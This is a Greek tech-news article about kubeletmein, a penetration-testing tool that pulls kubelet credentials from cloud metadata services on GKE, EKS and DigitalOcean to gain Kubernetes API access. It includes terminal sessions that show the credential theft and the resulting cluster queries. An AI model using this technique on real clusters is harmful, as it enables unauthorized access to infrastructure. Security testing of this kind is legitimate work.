kubeletmein: Πρόγραμμα ασφαλείας για Kubernetes


Το kubeletmein είναι ένα απλό pentest εργαλείο που εκμεταλλεύεται τις απειλές του cloud σε ένα σύμπλεγμα από Kubernetes, προκειμένου να αποκτήσει πρόσβαση στο API k8s.

Αυτή η πρόσβαση μπορεί να χρησιμοποιηθεί για περαιτέρω έλεγχο των εφαρμογών που εκτελούνται στο cloud ή σε πολλές άλλες περιπτώσεις, που διευκολύνουν τον πλήρη έλεγχο των Kubernetes.

Υποστηριζόμενοι πάροχοι και χρήση

GKE

Το GKE ( Google Kubernetes Engine) υποστηρίζεται πλήρως και βασίζεται στην απενεργοποίηση όλων των κρυφών metadata.

root@kubeletmein-vulnerable:/# kubeletmein generate
2021-03-04T22:25:52Z [ℹ]  fetching kubelet creds from metadata service
2021-03-04T22:25:52Z [ℹ]  writing ca cert to: ca-certificates.crt
2021-03-04T22:25:52Z [ℹ]  writing kubelet cert to: kubelet.crt
2021-03-04T22:25:52Z [ℹ]  writing kubelet key to: kubelet.key
2021-03-04T22:25:52Z [ℹ]  generating bootstrap-kubeconfig file at: bootstrap-kubeconfig
2021-03-04T22:25:52Z [ℹ]  wrote bootstrap-kubeconfig
2021-03-04T22:25:52Z [ℹ]  using bootstrap-config to request new cert for node: kubeletmein-node
2021-03-04T22:25:53Z [ℹ]  got new cert and wrote kubeconfig
2021-03-04T22:25:53Z [ℹ]  now try: kubectl --kubeconfig kubeconfig get pods
root@kubeletmein-vulnerable:/# kubectl --kubeconfig kubeconfig get pods
NAME                     READY   STATUS    RESTARTS   AGE
kubeletmein-vulnerable   1/1     Running   0          12m
root@kubeletmein-vulnerable:/# kubectl --kubeconfig kubeconfig get nodes
NAME                                                  STATUS   ROLES    AGE   VERSION
gke-kubeletmein-kubeletmein-vulnerabl-6623dbee-mgkd   Ready    <none>   11m   v1.18.12-gke.1210

 

EKS

Η υποστήριξη για το Amazon Elastic Kubernetes Service προστέθηκε αρχικά από τον @airman604 με βάση το script εκκίνησης AWS EKS. Αυτό επεκτάθηκε για να παρέχει υποστήριξη για διάφορους τύπους δεδομένων του χρήστη, που συναντώνται στο EKS.

Συγκεκριμένα, θα υποστηρίζει μορφές cloud-config και shell script. Στην τελευταία περίπτωση το πρόγραμμα, προσπαθεί να αναλύσει τα ορίσματα της γραμμής εντολών /etc/eks/bootstrap.sh και να ανακτήσει τις τιμές που χρειάζεται από εκεί.

~ $ kubeletmein generate
2021-03-02T21:37:59Z [ℹ]  running autodetect
2021-03-02T21:37:59Z [ℹ]  EKS detected
2021-03-02T21:37:59Z [ℹ]  fetching cluster information from user-data from the metadata service
2021-03-02T21:37:59Z [ℹ]  getting IMDSv2 token
2021-03-02T21:37:59Z [ℹ]  getting user-data
2021-03-02T21:37:59Z [ℹ]  generating EKS node kubeconfig file at: kubeconfig
2021-03-02T21:37:59Z [ℹ]  wrote kubeconfig
2021-03-02T21:37:59Z [ℹ]  then try: kubectl --kubeconfig kubeconfig get pods

 

Digital Ocean

Υποστηρίζεται από προεπιλογή, η DO παρέχει creds από metadata και αυτό δεν μπορεί να απενεργοποιηθεί.

root@kubeletmein-vulnerable:/# kubeletmein generate
2021-03-04T23:39:46Z [ℹ]  running autodetect
2021-03-04T23:39:46Z [ℹ]  DigitalOcean detected
2021-03-04T23:39:46Z [ℹ]  fetching kubelet creds from metadata service
2021-03-04T23:39:46Z [ℹ]  writing ca cert to: ca-certificates.crt
2021-03-04T23:39:46Z [ℹ]  generating bootstrap-kubeconfig file at: bootstrap-kubeconfig
2021-03-04T23:39:46Z [ℹ]  wrote bootstrap-kubeconfig
2021-03-04T23:39:46Z [ℹ]  using bootstrap-config to request new cert for node: kubeletmein-node
2021-03-04T23:39:46Z [ℹ]  got new cert and wrote kubeconfig
2021-03-04T23:39:46Z [ℹ]  now try: kubectl --kubeconfig kubeconfig get pods
root@kubeletmein-vulnerable:/# kubectl --kubeconfig kubeconfig get pods
NAME                     READY   STATUS    RESTARTS   AGE
kubeletmein-vulnerable   1/1     Running   0          6m12s

 

Μπορείτε να κατεβάσετε το πρόγραμμα από εδώ.


Διαβάστε τις Τεχνολογικές Ειδήσεις από όλο τον κόσμο, με την εγκυρότητα του iGuRu.gr

Ακολουθήσετε μας στο Google News iGuRu.gr at Google news